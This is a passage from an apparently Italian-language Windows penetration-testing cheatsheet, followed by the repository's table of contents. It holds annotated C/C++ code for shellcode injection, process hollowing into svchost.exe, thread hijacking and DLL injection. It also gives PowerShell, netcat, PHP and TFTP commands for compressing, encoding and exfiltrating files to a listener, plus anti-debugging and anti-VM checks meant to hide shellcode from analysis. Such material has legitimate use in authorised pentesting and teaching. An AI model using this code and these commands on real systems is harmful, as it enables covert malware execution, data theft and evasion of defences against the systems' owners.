NULL, #campo che specifica l'indirizzo di partenza con il valore NULL è SO che quindi lo deciderà
sizeof shellcode, #grandezza da allocare per la memoria
(MEM_RESERVE | MEM_COMMIT), #campi che prima riservano la memoria e poi la rendono accessibile
PAGE_EXECUTE_READWRITE #campo che specifica i permessi quali lettura, scritture e esegui
);

WriteProcessMemory(
processHandle, #campo che passa l'handle
remoteBuffer, #campo che passa la memoria allocata
shellcode, #campo che indica lo shellcode da scrivere
sizeof shellcode, #campo che indica la grandezza
NULL
);

remoteThread = CreateRemoteThread(
processHandle, #campo che passa l'handle del processo
NULL, #campo per i permessi, con il valore NULL li eredita dal processo destinatario
0, #campo che indica la dimensione dello stack, con il valore 0 sarà SO a fare i calcoli
(LPTHREAD_START_ROUTINE)remoteBuffer, #campo con puntatore al punto di ingresso della memoria del thread
NULL, #campo che deve passare dei dati al thread, con il valore NULL non si passa nulla
0, #campo che fa runnare subito il thread
NULL
);

N.B: le funzioni VirtualAlloc e VirtualAllocEx sono differenti per una cosa la prima riserva memoria per lo stesso processo mentre la seconda per un processo remoto

Process Hollowing:

_Il process hollowing molto simile allo shellcode injection solo che questa volta, possiamo fare in modo di injectare un intero file malevolo, il procedimento consiste:

creare un processo in sospensione
aprire l'image del file malevolo
andare a togliere lo spazio di memoria allocata per il codice legittimo nel nostro processo vittima
allocare memoria per il codice malevolo e scrivere ogni sezione nello spazio di memoria
preparare il punto d'entrata per il codice malevolo
toglire il processo creato dalla sospensione

Codice:

Passo 1

LPSTARTUPINFOA target_si = new STARTUPINFOA(); #variabile che contiene informazioni sulla configurazione del processo
LPPROCESS_INFORMATION target_pi = new PROCESS_INFORMATION(); #variabile che da le informazioni sul processo e thread
CONTEXT c; #variabile che contiene il contenuto del thread

if (CreateProcessA(
	(LPSTR)"C:\\\\Windows\\\\System32\\\\svchost.exe", #campo che indica il nome dell'eseguibile che verrà avviato
	NULL, #campo che settato a NULL non passa argomenti
	NULL, #campo che settato a NULL non passa argomenti all'ambiente del processo
	NULL, #campo che setta la directory di lavoro sulla directory del processo corrente
	TRUE, #campo che indica che gli handles sono ereditati 
	CREATE_SUSPENDED, #campo che crea il processo in sospensione
	NULL, #campo che settato a NULL non passa nessuna variabile d'ambiente al processo figlio
	NULL, #campo che settato a NULL non specifica il nome
	target_si, #campo che indica il puntatore alla variabile target_s1
	target_pi) == 0) { 
	cout << "[!] Failed to create Target process. Last Error: " << GetLastError();
	return 1;

Il passo 2 è diviso in tre step, il primo prendere l'handle dell'eseguibile malevolo, il secondo allocargli della memoria e il terzo è scrivere nello spazio di memoria allocato

Step 1:

HANDLE hMaliciousCode = CreateFileA(
(LPCSTR)"C:\\\\Users\\\\alehelp\\\\malware.exe", #campo che apre un 'eseguibile di nome malware.exe
GENERIC_READ, #campo che indica la sola lettura
FILE_SHARE_READ, #campo che indica la condivisibilità del file in sola lettura da altri processi
NULL, #campo che settato a NULL non indica nessun attributo per il file
OPEN_EXISTING, #campo che indica che il file debba essere aperto solo se esista
NULL, #campo che settato a NULL non specifica nessun template per il file 
NULL #campo che settato a NULL nessun handle di sicurezza è specificato
);

Step2:

DWORD maliciousFileSize = GetFileSize(
	hMaliciousCode, #campo che passa l'handle del codice malevolo
	0 #campo che non ritorna errori
);

PVOID pMaliciousImage = VirtualAlloc(
	NULL, #campo che se settato a NULL indica che SO deve scegliere l'indirizzo di base per la memoria virtuale
	maliciousFileSize, #campo che indica le dimensioni dell'eseguibile malevolo
	0x3000, #campo che indica il MEM_RESERVE cioè riservare un tot di memoria e il MEM_COMMIT cioè fare il commit con le pagine fisiche
	0x04 #campo che indica i diritti in questo caso lettura e scrittura
);

Step 3:

DWORD numberOfBytesRead; #variabile che registra i numeri di bytes letti

if (!ReadFile( #la funzione readfile, legge il contenuto dell'eseguibile e lo copia nella memoria allocata
	hMaliciousCode, #campo che indica l'handle dell'eseguibile malevolo
	pMaliciousImage, #campo che indica la memoria allocata
	maliciousFileSize, #campo che indica la dimensione dell'eseguibile malevolo
	&numberOfBytesRead, #campo che indica i numeri di bytes letti
	NULL #campo che settato a NULL non indica altri argomenti
	)) {
	cout << "[!] Unable to read Malicious file into memory. Error: " <<GetLastError()<< endl;
	TerminateProcess(target_pi->hProcess, 0);
	return 1;
}

CloseHandle(hMaliciousCode); #chiusura dell'handle e vengono liberate le risorse

Il passo 3 richiede di andare a togliere lo spazio di memoria allocata per il processo, bisogna quindi capire dov'è in memoria e l'entry point, queste due informazioni sono contenute in 2 registri EAX (entry point) e EBX (Process Environment Block) infine dopo averli recuperati possiamo deallocare la memoria

c.ContextFlags = CONTEXT_INTEGER; #variabile che indica quali registri includere nel contenuto del thread, in questo caso quelli di tipo intero
GetThreadContext(
	target_pi->hThread, #campo che prende l'handle del thread di destinazione
	&c #campo puntatore al contenuto del thread, dopo la chiamata alla funzione avraà il contenuto
);

PVOID pTargetImageBaseAddress; #puntatore che memorizza l'indirizzo base del processo
ReadProcessMemory(
	target_pi->hProcess, #campo che prende l'handle del thread di destinazione
	(PVOID)(c.Ebx + 8), #campo che indica da dove iniziare la lettura della memoria cioè EBX + offset di 8 byte
	&pTargetImageBaseAddress, #puntatore che memorizza l'indirizzo base del processo
	sizeof(PVOID), #campo che indica i bytes da leggere 
	0 #campo che indica i bytes letti
);

HMODULE hNtdllBase = GetModuleHandleA("ntdll.dll"); #comando che ottiene l'handle della .dll ntdl
pfnZwUnmapViewOfSection pZwUnmapViewOfSection = (pfnZwUnmapViewOfSection)GetProcAddress( #funzione che dealloca la memoria
	hNtdllBase, #campo che indica l'handle di ntdl
	"ZwUnmapViewOfSection" #campo che indica API call
); 

DWORD dwResult = pZwUnmapViewOfSection(
	target_pi->hProcess, #campo che prende l'handle del thread di destinazione
	pTargetImageBaseAddress #campo che indica l'indirizzo base del processo
);

Il passo 4 richiede di allocare memoria per l'eseguibile malevolo e poi bisogna scrivere nella memoria allocata prima i PE headers e poi le sezioni

PIMAGE_DOS_HEADER pDOSHeader = (PIMAGE_DOS_HEADER)pMaliciousImage; #codice che inizializza un puntatore di tipo PIMAGE_DOS_HEADER e di valore 
pMaliciousImage, in modo da recuperare il DOS header dell'eseguibile malevolo

PIMAGE_NT_HEADERS pNTHeaders = (PIMAGE_NT_HEADERS)((LPBYTE)pMaliciousImage + pDOSHeader->e_lfanew); #codice che inizializza un puntatore di tipo 
PIMAGE_NT_HEADERS, serve a recuperare l'header NT, viene sommato l'indirizzo dell'eseguibile più e_ifanew che contiene l'offset per l'header

DWORD sizeOfMaliciousImage = pNTHeaders->OptionalHeader.SizeOfImage; #codice che ottiene la dimensione totale dell'immagine

PVOID pHollowAddress = VirtualAllocEx(
	target_pi->hProcess, #campo che prende l'handle del processo
	pTargetImageBaseAddress, #campo che contiene l'indirizzo base del processo
	sizeOfMaliciousImage, #campo che contiene la dimensione totale dell'eseguibile malevolo
	0x3000, #campo il cui valore 0x3000 corrisponde a MEM_RESERVE e MEM_COMMIT
	0x40 #campo che indica di attivare lettura e scrittura nella memoria virtuale

if (!WriteProcessMemory(
	target_pi->hProcess, #campo che prende l'handle del processo
	pTargetImageBaseAddress, #campo che contiene l'indirizzo base del processo
	pMaliciousImage, #campo che contiene il puntatore all'eseguibile
	pNTHeaders->OptionalHeader.SizeOfHeaders, #campo che indica la dimensione dei PE headers
	NULL
)) {
	cout<< "[!] Writting Headers failed. Error: " << GetLastError() << endl;
}

for (int i = 0; i < pNTHeaders->FileHeader.NumberOfSections; i++) { #codice che itera per il numero di sezioni
PIMAGE_SECTION_HEADER pSectionHeader = (PIMAGE_SECTION_HEADER)((LPBYTE)pMaliciousImage + pDOSHeader->e_lfanew + sizeof(IMAGE_NT_HEADERS) 
+ (i * sizeof(IMAGE_SECTION_HEADER))); 

#codice che determina le dimensione della sezione corrente l'operazione consiste: 
# la somma dell'indirizzo dell'eseguibile malevolo + l'offset dell'NT header per trovare l'indirizzo dell'header NT, 
# la somma della dimensione dell NT header cosi il puntatore punterà all'inizio del NT header 
# infine la somma dell'indice per la dimensione del NT header che ci permette di inviduare la sezione corrente

WriteProcessMemory(
	target_pi->hProcess, #campo che prende l'handle del processo
	(PVOID)((LPBYTE)pHollowAddress + pSectionHeader->VirtualAddress), #campo che contiene il l'indirizzo base del processo
	(PVOID)((LPBYTE)pMaliciousImage + pSectionHeader->PointerToRawData), #campo che contiene il puntatore al contenuto della sezione corrente
	pSectionHeader->SizeOfRawData, #campo che indica le dimensioni della sezione corrente
	NULL
 );
}

Il passo 5 prevede di preparare il punto di entrata per il codice malevolo

c.Eax = (SIZE_T)((LPBYTE)pHollowAddress + pNTHeaders->OptionalHeader.AddressOfEntryPoint); 
#codice che calcola l'indirizzo virtuale in cui il thread inizia l'esecuzione, i passaggi sono:
# indirizzo base delle memoria virtuale allocata 
# sommando poi l'indirizzo di entrata dell'immagine PE

SetThreadContext( #funzione che cambia il contenuto del thread corrente con il contenuto del thread salvato nella struttura c
	target_pi->hThread, #campo che indica l'handle del thread
	&c #campo che punta alla struttura contenente il contenuto

Il passo 6 togliamo il processo dallo stato di sospensione

ResumeThread(
	target_pi->hThread #campo che indica l'handle del thread
);

Thread Hijacking:

Nel Thread Hijacking i primi step sono uguali al Shellcode Injection, cioè prendere un processo, allocare memoria e scriverci il codice malevolo al suo interno

Codice:

processHandle = OpenProcess(
PROCESS_ALL_ACCESS, #campo che definisce i diritti del processo
FALSE, #campo che imposta l'ereditarietà a false 
processId #campo che registra il PID del processo
);

remoteBuffer = VirtualAllocEx(
hProcess, #campo che apre il processo con l'handle
NULL, #campo che specifica l'indirizzo di partenza con il valore NULL è SO che decide
sizeof shellcode, #grandezza da allocare per la memoria
(MEM_RESERVE | MEM_COMMIT), #campi che prima riservano la memoria e poi la rendono accesibile
PAGE_EXECUTE_READWRITE #campo che specifica i permessi quali lettura, scritture e esegui
);

WriteProcessMemory(
processHandle, #campo che passa l'handle
remoteBuffer, #campo che passa la memoria allocata
shellcode, #campo che indica lo shellcode da scrivere
sizeof shellcode, #campo che indica la grandezza
NULL
);

Ora va identificato il thread target andando a cercare il suo threadID

THREADENTRY32 threadEntry; #dichiarazione di una struttura thread, che verrà utilizzata per contenere delle informazioni

HANDLE hSnapshot = CreateToolhelp32Snapshot( #funzione che crea uno snapshot delle informazioni riguardanti i thread o processi nel sistema 
	TH32CS_SNAPTHREAD, #campo che indica di volere fare lo snapshot ai thread
	0 #campo che indica di voler prendere il processo corrente
);
Thread32First( #funzione che prende il primo thread dello snapshot
	hSnapshot, #campo che indica l'handle del processo
	&threadEntry #campo puntatore alla struttura thread
);

while (Thread32Next( #comando che prende il prossimo thread
	snapshot, #campo che indica l'handle del processo
	&threadEntry #campo puntatore alla struttura thread
)) {

Adesso è necessario aprire il thread, metterlo in sospensione, prendere il suo contenuto e modificare il registro RIP in modo che punti alla regione di memoria contenente il codice malevolo

if (threadEntry.th32OwnerProcessID == processID) #codice ce verifica se l'ID all'interno della stutture thread è uguale all'ID specificato
		{
			HANDLE hThread = OpenThread(
				THREAD_ALL_ACCESS, #campo che indica di volere tutti i diritti sul thread
				FALSE, #campo che settato a FALSE indica che i thread figli non ereditano dal padre
				threadEntry.th32ThreadID #campo che indica l'ID del thread all'interno della struttura
			);
			break;
		}

SuspendThread(hThread); #funzione per sospendere il thread

CONTEXT context; #variabile che registra il contenuto
GetThreadContext(
	hThread, #campo che punta all'handle del thread
	&context #campo puntatore al contenuto della struttura
);

context.Rip = (DWORD_PTR)remoteBuffer; #codice che fa puntare il RIP alla zona di memoria del codice malevolo

Infine aggiorniamo il contenuto del thread corrente con quello della struttura create e cambiamo da sospeso ad attivo il thread

SetThreadContext(
	hThread, #campo con l'handle del thread a cui copiare il contenuto
	&context #campo puntatore al contenuto della struttura thread
);

ResumeThread(
	hThread #campo che indica l'handle del thread da riattivare
);

DLL Injection:

Primo passo trovare il processo target

DWORD getProcessId(const char *processName) {
    HANDLE hSnapshot = CreateToolhelp32Snapshot( #funzione che crea uno snapshot delle informazioni riguardanti i thread o processi nel sistema 
		TH32CS_SNAPTHREAD, #campo che indica di volere fare lo snapshot ai thread
		0 #campo che indica di voler prendere il processo corrente
		);
    if (hSnapshot) {
	PROCESSENTRY32 entry; #campo che definisce la struttura thread di nome entry
	entry.dwSize = sizeof(PROCESSENTRY32); #campo che ottiene le dimensioni delle struttura
	if (Process32First( #funzione che prende il thread del primo processo
					hSnapshot, #campo handle dello snapshot
					&entry #campo puntatore alla struttura
				)) {
	    do {
		if (!strcmp(entry.szExeFile,processName)) { #if di confronto tra i processi per cercare quello target 
		    return entry.th32ProcessID; #ritorno del process ID cercato se si ha successo
		}
	    } while (Process32Next(hSnapshot, &entry)); #ciclo while che continua finchè non è stato esaminato tutto lo snapshot
	}
    }

DWORD processId = getProcessId(processName); #variabile che ritorna l'ID del processo cercato

Continuiamo andando ad aprire il processo target, allocare memoria per la DLL malevola, scriverci ed infine caricarla ed eseguirla

HANDLE hProcess = OpenProcess(
	PROCESS_ALL_ACCESS, #campo che indica di volere tutti i diritti
	FALSE, #campo che settato a FALSE non permette l'ereditarietà ai processi figli
	processId #campo che registra il processID target
);

LPVOID dllAllocatedMemory = VirtualAllocEx(
	hProcess, #campo handle del processo target
	NULL, 
	strlen(dllLibFullPath), #campo con la grandezza della DLL path
	MEM_RESERVE | MEM_COMMIT, #campo reserve e commit della memoria
	PAGE_EXECUTE_READWRITE #campo che attiva lettura,scrittura e eseguibilità sulle pagine virtuali
);

WriteProcessMemory(
	hProcess, #campo handle del processo target
	dllAllocatedMemory, #campo indicante la memoria allocata
	dllLibFullPath, #campo contenente la path alla DLL malevola
	strlen(dllLibFullPath) + 1, #campo contente la grandezza della DLL malevola
	NULL
);


LPVOID loadLibrary = (LPVOID) GetProcAddress( #funzione per ottenere un puntatore alla API call da importare
	GetModuleHandle("kernel32.dll"), #campo contenente l'handle della libreria
	"LoadLibraryA" #campo della API call da importare
);
HANDLE remoteThreadHandler = CreateRemoteThread(
	hProcess, #campo che indica l'handle del processo target
	NULL, #campo che indica le impostazioni predefinite per la dimensione dello stack
	0, #campo che indica la dimensione predefinita dello stack
	(LPTHREAD_START_ROUTINE) loadLibrary #campo puntatore alla funzione importata
	dllAllocatedMemory, #campo puntatore alla memoria allocata
	0, #campo che indica l'esecuzione immediata
	NULL #campo che settato a NULL non specifica parametri di sicurezza
);

Esecuzione alternative in memoria:

Puntatori di Funzione:

I puntatori di funzione permettono l'esecuzione solo a memoria allocata localmente e non fanno affidamento su nessuna API call

Esempio e spiegazione:

(void(*)() #codice che crea un puntatore di funzione

(/puntatore a funzione/)addressPointer) #codice che casta addressPointer che può essere un puntatore di memoria o un array shellcode a puntatore di 
funzione

(); #codice che invoca la funzione per eseguire lo shellcode

((void(*)())addressPointer)(); #codice completo

Chiamate a procedure asincrone:

Le chiamate a procedure asincrone sono funzioni che si eseguono in maniera non sincrona nei thread

Codice:

QueueUserAPC( #funzione che inserisce un procedura asincrona nella coda di un thread specifico
	(PAPCFUNC)addressPointer, #campo puntatore alla procedura asincrona
	pinfo.hThread, #campo handle del thread
	(ULONG_PTR)NULL #campo NULL
	);

ResumeThread( #funzione che riattiva un thread in sospeso
	pinfo.hThread #campo handle del thread
);

WaitForSingleObject( #funzione che fa attendere il thread
	pinfo.hThread, #campo handle del thread
	INFINITE #campo che indica l'attesa in questo caso INFINITE indica di attendere fino a che il thread non termina 
);

Tecniche di esfiltrazione:

Nello shellcode ma anche più generale i malware esfiltrano dati, in fase di pentesting può essere utile esfiltrare dati perchè possano essere visionati in un secondo momento.

TCP Socket:

Il più generico metodo d'esfiltrazione è tramite un socket TCP, la nostra machine sarà in ascolto per i dati in arrivo mentre dalla target machine eseguiamo i comandi per prendere i dati

Comandi:

nc -lvp <porta> <path dove salvare i dati ricevuti> #comando per aprire il listener e poi salvare i dati

Compress-Archive -Path "<path file da zippare>" -DestinationPath "<path file dove salvarlo>" #comando per zippare il file da inviare

$base64Data = [Convert]::ToBase64String([IO.File]::ReadAllBytes("<path file zip>")) #comando per encodare i bytes in base64

Invoke-WebRequest -Uri "<url target machine>" -Method POST -Body $base64Data #comando per inviare i dati alla nostra target machine

SSH:

Tramite una connessione SSH è possibile esfiltrare i dati, ed essendo tramite SSH la connessione sarà criptata

Comandi:

Import-Module SSH-Sessions #comando che importa il modulo SSH se non presente

$sshInfo = @{ #comando che una hashtable con le informazioni per loggare con SSH
ComputerName = "<indirizzo ip>" 
Port = <porta>
Credential = Get-Credential #comando che registra le credenziali se presenti per l'accesso
}

$session = New-SSHSession @sshInfo #comando che stabilisce la connessione

Invoke-SSHCommand -SSHSession $session -Command "<comando alla target machine>" #comando che invia tramite SSH un comando

ES: Invoke-SSHCommand -SSHSession $session -Command "<nc -lvp 8080 > /tmp/file1.data>"

Compress-Archive -Path "<path file da zippare>" -DestinationPath "<path file dove salvarlo>" Optimal #comando per zippare il file da inviare

$base64Data = [Convert]::ToBase64String([IO.File]::ReadAllBytes("<path file zip>")) #comando per encodare i bytes in base64

Invoke-WebRequest -Uri "<url target machine>" -Method POST -Body $base64Data #comando per inviare i dati alla nostra target machine

Remove-SSHSession -SSHSession $session #comando per chiudere la sessione SSH

HTTP POST:

L'esfiltrazione tramite HTTP POST può giocare a nostro vantaggio in quanto è più difficile da rilevare perchè va filtrato con il traffico HTTP legittimo

Comandi:

Nella nostra target machine abbiamo bisogno di un piccolo form in PHP che gestisca i dati inviati

<?php 
if (isset($_POST['file'])) {
 $file = fopen("<path dove salvare>","w");
 fwrite($file, $_POST['file']);
 fclose($file);
}
?> #script in PHP che ha il compito di gestire i file in arrivo e scrivere il contenuto dei dati esfiltrati nella nostra machine

Compress-Archive -Path "<path file da zippare>" -DestinationPath "<path file dove salvarlo>" Optimal #comando per zippare il file da inviare

$base64Data = [Convert]::ToBase64String([IO.File]::ReadAllBytes("<path file zip>")) #comando per encodare i bytes in base64

Invoke-WebRequest -Uri "<url target machine>" -Method POST -Body $base64Data #comando per inviare i dati alla nostra target machine, specificare il nome dello script php

TFTP:

Il protocollo TFTP (Trivial File Transfer Protocol) è un protocollo per il trasferimento di dati che pesano poco via UDP. La seguente tecnica di esfiltrazione ha maggiore efficacia su sistemi WIndows XP o Windows 2003 in quanto tftp è gia incluso, nelle versioni più recenti deve essere installato

Comandi:

pip install ptftpd
ptftpd -p 69 <interfaccia di rete> <directory che condividiamo> #comando per installare e avviare il server tftp

tftp -i <ip macchina server> get <nome file da scaricare #comando per scaricare un file

tftp -i <ip_macchina_server> put <nome del file da caricare> <nome destinazione remota> #comando per caricare un file sulla macchina remota

Decompiling e Debugging:

Il Decompiling consiste nel decompilare il codice di un .exe o di un programma, cercando di andare a capire il funzionamento interno di esso mentre il Debugging decompila sempre il codice e permette di interagire (cambiare valori ai registri, breakpoint, ecc...) con il codice stesso per vedere come reagisce

esistono 3 tipologie di debugger:

Debugger ad alto livello = debugger per i linguaggi ad alto livello che controllano l'esecuzione del codice e l'eventuale presenza di bug
Debugger Assembly = debugger che recupera l'assembly di un eseguibile, dove possiamo visionare valori di memoria e dei registri
Debugger Kernel = debugger al più basso livello possibile quello del kernel
Anti-Detection dello shellcode:

Le tecniche Anti-Detection sono utili per coprire il nostro shellcode, in modo che passi inosservato

Tecniche di Anti-Debugging:

Controllare la presenza di un debugger = tramite la funzione "IsDebuggerPresent" che controlla se un debugger è presente
Modifica dei registri di debug = tramite la modifica o corruzione dei logs di debug, utilizzati dal debugger per il controllo del codice
Codice che si automodifica = cioè codice che mentre avviato si modifica per rendere più difficile il lavoro del debugger

Tecniche di Anti-VM:

Controllo dei processi = VMWare runna un processo chiamato "vmtools" mentre VirtualBox "vboxservice" per vederli viene utilizzata la funzione "EnumProces"
Controllo dei software installati = alla seguente key "SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall", possiamo verificare le presenza di debugger, decompilatori e ecc...
Controllo di Rete = le VM comunicando con la rete generano un loro "MAC address" con i seguenti valori "00-05-69, 00-0c-29, 00-1c-14 o 00-50-56" che riconoscono i vendor
Risorce computer = il controllo delle risorse dei computer, in quanto per una VM non viene assegnata molta RAM
Controllo delle periferiche = controllo delle periferiche esempio in ricerca di stampanti, una VM di solito non le monta
Controllo Dominio = tramite le variabili d'ambiente "LoggonServer" e "ComputerName", possiamo controllare se siamo sotto AD
Attacchi a tempo = controllo del tempo per eseguire un'istruzione in quanto in una macchina fisica è più veloce rispetto in una macchina virtuale
Sensore temperatura = tramite il controllo della voce "Win32_TemperatureProbe" settato a "Not Supported" significa che non vi è il sensore della temperatura e che quindi siamo in una VM però anche macchine fisiche possono non averlo quindi va preso con le pinze

Tool VM:

Esistono 2 script che aiutano il blue teaming a nascondere la presenza della loro VM:

Tool Debugging:

Esistono molti programmi con la funzione di debugger tra cui:

N.B: Il nostro parere è di sceglierlo in base alla comodità e usabilità

Link a risorse esterne:

Lascio qui alcuni link per delle risorse che possano servire:

Active Directory, repo che passo passo spiega come creare una piccolo home lab contenente un domain controller e una windows machine con
Writeups THM repo contenente writeups sia di macchine linux che di macchine windows
Writeups HTB repo contenente writeups sia di macchine linux che di macchine windows
Writeups Disturbante THM repo contenente writeups sia di macchine linux che di macchine windows
Writeups Disturbante HTB repo contenente writeups sia di macchine linux che di macchine windows

Credits:

Vorrei ringraziare Disturbante per il suo contributo alla sezioni di:

Comandi info generali pc
Comandi per i file
Comandi ADS
Alcune sezioni di Privilege Escalation
Powerview
Bloodhund
Recognition Attiva
Correzione e miglioramenti generali dell'intera repository

gmh5225 / windows-pentesting-cheatsheet Goto Github PK

windows-pentesting-cheatsheet's Introduction

Indice

Disclaimers:

Consigli di utilizzo:

Active Directory Pentest:

Recognition:

Passiva:

Domini:

Ip:

Siti Web:

Personal Tool:

Attiva:

Port Scanning:

Sito web:

Enumerazione:

Enumerazione Esterna:

Enumerazione Interna:

Enumerazione host machine:

Sistema:

Generali:

Rete e configurazioni:

Tools:

Privilege Escalation:

Servizi:

Registri:

Credenziali:

Tools:

Varie:

Tools:

Lateral movements:

Lanciare comandi da remoto:

Port Forwarding:

Persistence:

Gruppi:

Privilegi:

Servizi:

File:

Registri:

Varie:

Tools:

Metasploit:

Powerview:

Bloodhund:

Mimikatz:

Impacket:

Hashcat:

Creazione di wordlists:

CrackMapExec:

Responder:

Attacchi vari:

DACL attacks:

Enumerazione:

GenericAll:

WriteDACL

WriteProperties:

Shadow Credentials:

Targeted Kerberoasting:

GenericWrite:

AllExtendedRights:

AddMember:

ForceChangePassword:

ReadLAPSPassword:

ReadGMSAPassword:

DCSync:

WriteOwner:

Bypass:

Bypass UAC:

Bypass AMSI:

Bypass Applocker:

Bypass WDAC:

Bypass Constrained Language Mode:

Bypass Logging:

CVE:

CVE-2021-42278/CVE-2021-42287 (noPac):

CVE-2021-1675/CVE-2021-34527 (PrintNightmare):

CVE-2022-26923: (Vulnerabilità sui certificati dell'AD)

Certificati AD:

CVE-2023-23397 (Outlook):

Windows Internals: